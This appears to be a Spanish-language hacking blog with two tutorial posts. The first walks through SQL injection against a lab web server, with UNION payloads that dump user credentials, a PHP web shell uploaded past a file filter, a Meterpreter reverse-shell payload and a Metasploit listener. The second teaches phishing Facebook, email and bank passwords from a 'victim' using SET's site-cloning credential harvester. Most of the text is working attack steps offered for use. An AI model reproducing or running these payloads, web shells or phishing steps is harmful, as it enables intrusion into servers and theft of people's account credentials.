Mostrando entradas con la etiqueta hacker. Mostrar todas las entradas
Mostrando entradas con la etiqueta hacker. Mostrar todas las entradas

jueves, 28 de noviembre de 2013

De SQL injection hasta obtener una shell

De sql injection a obtener shell

Este post tiene dedicatoria a todos los miembros de pentester guanajuato global team, gracias por la invitación :)



Empezemos: en este post veremos un poco de sql injection y como un atacante puede obtener desde los datos que se encuentran en la base de datos hasta una shell del sistema donde se encuentra alojada la página web y la base de datos :D

Está será la página en que haremos el pentest

Primero haremos un information gathering, para realizarlo podemos usar telnet o netcat

telnet paginaweb.com 80
GET / HTTP/1.1
host:paginaweb 
           ó
netcat paginaweb.com
GET / HTTP/1.1
host:paginaweb


como podemos observar ahi tenemos la version de apache

Ahora veamos un poco de teoría, supongamos que estamos en una pagina de noticias y tenemos 3 páginas con noticias estas serían las 3 urls.

http://www.web.com/noticia.php?id=1  <-- noticia 1
http://www.web.com/noticia.php?id=2  <-- noticia 2
http://www.web.com/noticia.php?id=3  <-- noticia 3

el código php de esa pagina para cargar las noticias sería algo así

<?php
$id = $_GET["id"];
$resultado = mysql_query("select * from noticias where id=".$id);
$fila = mysql_fetch_assoc($reultado);
//nos da la informacion de la noticia de la consulta
?>

Ahora pasando al material que tenemos para trabajar
si ponemos asi ----> http://www.web.com/noticia.php?id=1'
se va a ejecutar esto ---> select * from noticias where id = 1'
pero la sintaxis de esta peticion sql es incorrecta por la comilla ' y la base de datos nos dara un error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ''' at line 1.
este error puede o no puede ser visible depende de la configuracion del php

aqui el ejemplo del error de SQL syntax de nuestra web








 IMPORTANTE!!!!!
el valor que esta en la url hace un eco directamente en la consulta y es considerado como un integer, esto
nos permite hacer una consulta a la base de datos una operacion basica matematica
es decir
http://www.web.com/noticia.php?id=2-1 <--- esto sería como
select * from noticias where id=2-1 entonces el la noticia 1 será mostrada en la url





Por ejemplo en nuestra pagina tenemos

 http://192.168.1.88/cat.php?id=3
y también
http://192.168.1.88/cat.php?id=2

Veamos que pasa cuando hacemos
http://192.168.1.88/cat.php?id=3-1

Aqui vemos como al hacer la operacion matemática 3-1=2 == http://192.168.1.88/cat.php?id=2


explotando sql injections con UNION


Para hacer la sql injection (a mano nada de usar programas como havij ó sqlmap a menos que seas un lamer de primera, ó a menos que ya sepas hacer esto por ti mismo no hay ningun problema en utilizar herramientas que te pueden automatizar el proceso, y ademas ya sabes que es lo que realmente esta pasando en tu ataque) necesitamos encontrar el numero de colimnas para ejecutar union

si ponemos
http://192.168.1.88/cat.php?id=2 union select 1,2
en la url aparecen varios %20 ese es el del espacio y el navegador lo pone automáticamente, ahi podemos ver que nos da información interesante
lo que ha pasado es lo siguiente:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2
es decir hicimos una consulta donde estamos requiriendo 2 campos sin embargo la tabla tiene 4 campos, no hay que confundir que a una tabla podemos hacer la consulta a 1 solo campo con esto que estamos haciendo, en este caso estamos tratando de encontrar todos los campos de la tabla

entonces intentamos lo siguiente
http://192.168.1.88/cat.php?id=2 union select 1,2,3
en este caso de nuevo aparece el mensaje que la sentencia tiene diferente numero al de las columnas existentes en la tabla, recuerden que estamos tratando de averiguar cuantos campos hay en esa tabla de la base de datos
esta vez hicimos algo como esto:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2,3

intentemos con esto: http://192.168.1.88/cat.php?id=2 union select 1,2,3,4
Excelente!!! ya no obtuvimos el mensaje de que no corresponde la sentencia con el numero de campos es decir que ya sabemos que existen 4 campos.
Ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

la sentencia @@version      me dice la version de la base de datos
la sentencia current_user()  el usuario usado por la aplicacion php para conectar a la base de datos
la sentencia database()        ya se imaginarán que hace :p

entonces procedemos a encontrar la version con
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4,5

Eee!!! momento que ha pasado si estoy poniendo 4 columnas por que me aparece que hay diferencia en el statment y el numero de columnas???

al parecer la tabla donde ejecutemos la sentencia para poder ver la version debe tener un numero diferente de columnas de modo que hagamos una prueba pongamos 3 en vez de 4 es decir:
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4

Listo ya tenemos la verison!!!!

ahora procedamos a ver el usuario
http://192.168.1.88/cat.php?id=2 union select 1,current_user(),3,4
Ya tenemos el usuario :D

Ahora veamos el nombre de la base de datos
http://192.168.1.88/cat.php?id=2 union select 1,database(),3,4
Listo!!!! nombre de la base de datos obtenida

ahora obtengamos las tablas, para eso haremos consultas en la base de datos information_schema
por que mysql provee tablas que contienen meta-informacion de la base de datos que estamos obteniendo información

http://192.168.1.88/cat.php?id=2 union select 1, table_name,3,4+from+information_schema.tables

Listo el problema es que me esta dando todas las tablas de las bases de datos que hay y yo quiero solo los de la base de datos que estoy tratando de obtener informacion (photoblog)

Intentemos con esto
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat%28table_name,
%27:%27,table_name%29,3,4%20from%20information_schema.columns+where+table_schema=database%28%29--
Excelente despues de varias pruebas y errores con diferentes sentencias pudimos obtener el resultado deseado (Ya te tocará investigar que es todo ese código en la sentencia no tendras todo tan regalado lamer XD XD XD XD XD).

bueno ahora toca el turno de saber como se llaman los campos de la tabla users
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat(column_name),3,4%20from
%20information_schema.columns+where+table_name=users

Al parecer hay un error en la columna users :( vaya se ha resistido XD XD XD XD, bueno hemos estado utilizando chrome, ahora utilizemos firefox para ayudarnos de hackbar :D :D :D :D :D

  
  abrir hackbar y seleccionar el nombre users e ir a encoding, hex encoding y seleccionar la 1er opcion quedará algo así
Damos click en Execute y vemos que no pasa nada, jejeje esta web se se resiste intenemos agregando un 0x es decir
http://192.168.1.88/cat.php?id=-2 union select 1,concat(column_name),3,4 from information_schema.columns+where+table_name=0x7573657273
Excelente ahora si ya tenemos los campos que necesitamos para realizar la sentencia y obtener los datos que necesitamos

Entonces manos a la obra obtengamos los usuarios y contraseñas de esta base de datos
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat
%28login,%27:%27,password%29,3,4%20from%20users;

Muy bien tenemos al usuario admin y la contraseña encriptada, hay muchas formas y/o técnicas para desencriptar ese hash, por ejemplo; findmyhash, john the ripper, crackstation.net, en esta ocasión usaremos la página crackstation.net

listo: usuario admin contraseña P4ssw0rd

ahora tratemos de obtener una shell en ese sistema :D


Listo estamos logueados como admins ahora tratemos de subir algun archivo php que nos deje ejecutar comandos en el sistema :D

para eso creamos un arhivo php que contenga el siguiente codigo

<?php
system($_GET['cmd']);
?>

si logro subir un arhivo php que contenga ese codigo podre ejecutar comandos en el sistema donde esta alojada la pagina web.

primero vamos a crearlo
vamos a tratar de subirlo damos click en New picture y despues en examinar y buscamos nuestro php
Al tratar de subirlo vemos que nos dice 
Entonces tiene una protección de deteccion de archivos para poder hacer un bypass o evasión de detección de los tipos de archivos podemos hacer un archivo de nombre .php3

Aqui vemos como nuestro php fue subido exitosamente

ahora tenemos que encontrar la ruta donde esta nuestro php :D

una vista rápida al codigo fuente del index me da lo que estoy buscando
admin/uploads/shell.php3  :D

ahora para ejecutar comandos ponemos lo siguiente
http://192.168.1.88/admin/uploads/shell.php3?cmd="comando a ejecutar"

http://192.168.1.88/admin/uploads/shell.php3?cmd=uname -a

http://192.168.1.88/admin/uploads/shell.php3?cmd=cat%20/etc/passwd
nosotros somos el usaurio www-data ese usuario no tiene privilegios de root, veamos que podemos hacer para obtener una shell dentro del sistema desde kali :D

primero hacemos un payload para linux
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=puerto R | msfencode -t elf -e x86/shikata_ga_nai >> Executive


Pasamos ese payload a nuestro webserver en kali aprovechando que tenemos apache :D

Aqui vemos como se copio el payload a la carpeta del webserver de kali y ademas hicimos un ls para comprobar que ahi esta nuestro payload, ahora toca descargarlo en el servidor que hackeamos

Aparentemente no ocurrio nada pero que pasa si hacemos un "ls"

Ahi se encuentra nuestro payload que se llama Executive, procedemos a ejecutarlo pero primero hay que preparar el listener de metasploit
 msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=IP LPORT=port  E

ahora si procedemos a ejecutar

y vemos el resultado en nuestro metasploit
Tenemos meterpreter en ese sistema :D
Sin embargo no tenemos altos privilegios todavia, tratemos de leer el archivo shadow
Solamente usuarios con permisos elevados pueden leer ese archivo, hay muchas técnicas para elevar privilegios en linux, tratemos de entrar al gestor de base de datos mysql
Hemos podido entrar al gestor de base de datos mysql de ese sistema por que el usuario por default no tiene contraseña
mysql -u root -p

incluso podemos ver la bases de datos que hay en ese sistema
Ahora tratemos de vizualizar archivos desde mysql

y aqui el resultado

ahora tratemos de leer el archivo shadow
Como vemos no hemos podido leer el contenido del archivo shadow :( 
en un post posterior veremos como elevar privilegios en linux, por otra parte cabe mencionar que todo lo que hemos hecho en la página, quedo registrado en los logs del apache

aqui les paso solo alguno de los logs que generamos
192.168.1.104 - - [28/Nov/2013:17:13:47 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,4 HTTP/1.1" 200 830 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:48 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,4" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:54 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:55 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:02 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:03 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3 HTTP/1.1" 200 829 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,3" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:19:59 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,2,3,4 HTTP/1.1" 200 763 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:20:00 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:52 +0000] "GET /cat.php?id=2%20union%20select%201%20where%20id=1 HTTP/1.1" 200 815 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"






martes, 25 de septiembre de 2012

Obtener Contraseñas de facebook, twitter, hotmail, gmail

En esta ocasion les presento como obtener contraseñas de facebook por medio de una herramienta de ingenieria social llamada set (social engineering tool-kit)

para abrir esta herramienta hacemos lo siguiente

1.- Abrimos una consola y nos dirijimos a la siguiente direccion
/pentest/exploits/set  <---- (cd /pentest/exploits/set) escribimos ls para buscar los archivos de esa carpeta y buscamos el archivo que se llama set lo ejecutamos escribiendo ./set



2.- Asi sera nuestra interfaze una vez hayamos abierto set


3.- En este caso seleccionamos la opcion 1 Social-Engineering Attacks

4.- De aqui nos vamos a la opcion 2 Website Attack Vectors


5.- Aqui seleccionamos la opcion 3 Credential harvester Attack Method

6


6.- Llegando a este punto seleccionamos la opcion 2 Site Cloner


7.- Aqui nos pide que pongamos nuestra ip local o la global dependiendo de donde querramos hacer nuestro ataque de ingnieria social en este caso lo haremos en nuestra misma red por lo que debemos de saber cual es nuestra ip local, para hacer eso simplemente abrimos otra consola y escribimos ifconfig si estamos conectados por medio de wifi buscamos nuestra ip en la interface wlan0 si estamos conectados por ethernet pues buscamos la interface eth0 :)


8.- En este paso ponemos cual pagina es la que queremos usar para obtener contraseñas, puede ser twitter, hotmail, myspace facebook e incluso paginas de bancos.



9.- En esta parte vemos elproceso de clonacion de la pagina y cuando termina de clonar nos da el mensaje de que esta a la espera de que el usuario meta sus datos para que nos llegue a nosotros






10.- Aqui ya estmos viendo que nuestra victima abrio nuestra pagina falsa nosotros debemos de mandarle a nuestra victima la iplocal por que ahi es donde se guarda en este caso la pagina clonada de facebook se quedo en mi ip que seria la 192.168.1.125





11 .-  En esta parte vemos que la viticma esta poniendo su usaurio y contraseña de facebook, en este caso el usuario es correo@hotmail.com y la contraseña es contraseña.,..01





12 .- En esta pantalla el usuario anteriormente ya le dio click en enviar entonces lo que hizo nuestra pagina fue redirigirlo a la pagina oficial de facebook pero los datos ya me los mando a mi consola donde tenia esperando a que me llegaran los datos del usuario




13 .- Listo ya nos llego la contraseña.

Espero les haya gustado y haya sido claro :D